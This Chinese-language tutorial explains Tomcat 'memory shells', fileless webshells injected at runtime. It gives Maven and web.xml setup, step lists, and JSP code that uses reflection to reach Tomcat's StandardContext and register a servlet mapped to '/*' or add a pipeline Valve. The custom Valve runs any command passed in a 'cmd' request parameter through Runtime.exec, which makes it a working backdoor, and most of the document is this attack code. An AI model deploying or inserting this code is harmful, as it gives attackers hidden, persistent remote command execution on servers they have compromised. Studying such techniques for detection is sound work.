一、Tomcat Servlet 内存马
0. 添加依赖
在项目中添加以下 Maven 依赖以支持 Tomcat 相关操作:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.68</version>
</dependency>1. Servlet 使用
通过 web.xml 配置或 @WebServlet 注解注册 Servlet:
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.test.servletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
2. 动态分析
参考资料:腾讯云开发者文章
- 编写一个继承
javax.servlet.http.HttpServlet的类,并重写doGet或其他方法。 - 通过反射调用
request类和StandardContext类获取上下文(context)。 - 调用
createWrapper方法创建Wrapper实例,并设置基于web.xml的配置信息。 - 使用
addChild添加Wrapper配置。 - 使用
addServletMappingDecoded添加路由映射。
3. 内存马实现
以下是 Servlet 内存马的 JSP 实现代码:
<%
// 获取 StandardContext#context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 创建 Wrapper 并写入 Servlet 信息
Wrapper wrapper = context.createWrapper();
wrapper.setName("testservlet");
wrapper.setServletClass(HelloServlet.class.getName());
wrapper.setServlet(new HelloServlet());
// 添加 Wrapper 并添加路由信息
context.addChild(wrapper);
context.addServletMappingDecoded("/*", "testservlet");
%>
二、Tomcat Valve 内存马
0. 添加依赖
在项目中添加以下 Maven 依赖以支持 Tomcat 相关操作:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.68</version>
</dependency>
1. Valve 使用
Valve(阀门)是 Tomcat 四大容器类(StandardEngine、StandardHost、StandardContext、StandardWrapper)中管道(Pipeline)的核心组件。每个容器拥有独立的 Pipeline,通过 getPipeline().getFirst().invoke(Request req, Response resp) 调用用户添加的 Valve,最后调用默认的 Standard-Valve。
以下是自定义 Valve 的实现:
public class TestVavle extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd == null) {
getNext().invoke(request, response);
} else {
Runtime.getRuntime().exec(cmd);
}
}
}
配置方式
- 全局模板:所有应用共享相同的 Valve 配置,可修改 Tomcat 的全局
context.xml(位于$CATALINA_BASE/conf/context.xml)。 - 自定义部署:在
src/main/webapp/META-INF目录下创建context.xml文件。
2. 动态分析
参考资料:微信公众号文章
- 编写一个继承
org.apache.catalina.valves.ValveBase的类,并重写invoke方法。 - 通过反射调用
request类和StandardContext类获取上下文(context)。 - 调用容器实例的
getPipeline方法获取管道。 - 使用
addValve方法添加自定义 Valve。
3. 内存马实现
以下是 Valve 内存马的 JSP 实现代码:
<%
// 反射调用 request 类
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
// 反射调用 StandardContext 类获取 context
StandardContext context = (StandardContext) req.getContext();
// 调用 getPipeline
Pipeline pipeline = context.getPipeline();
// 传入 TestVavle 类
TestVavle testVavle = new TestVavle();
pipeline.addValve(testVavle);
%>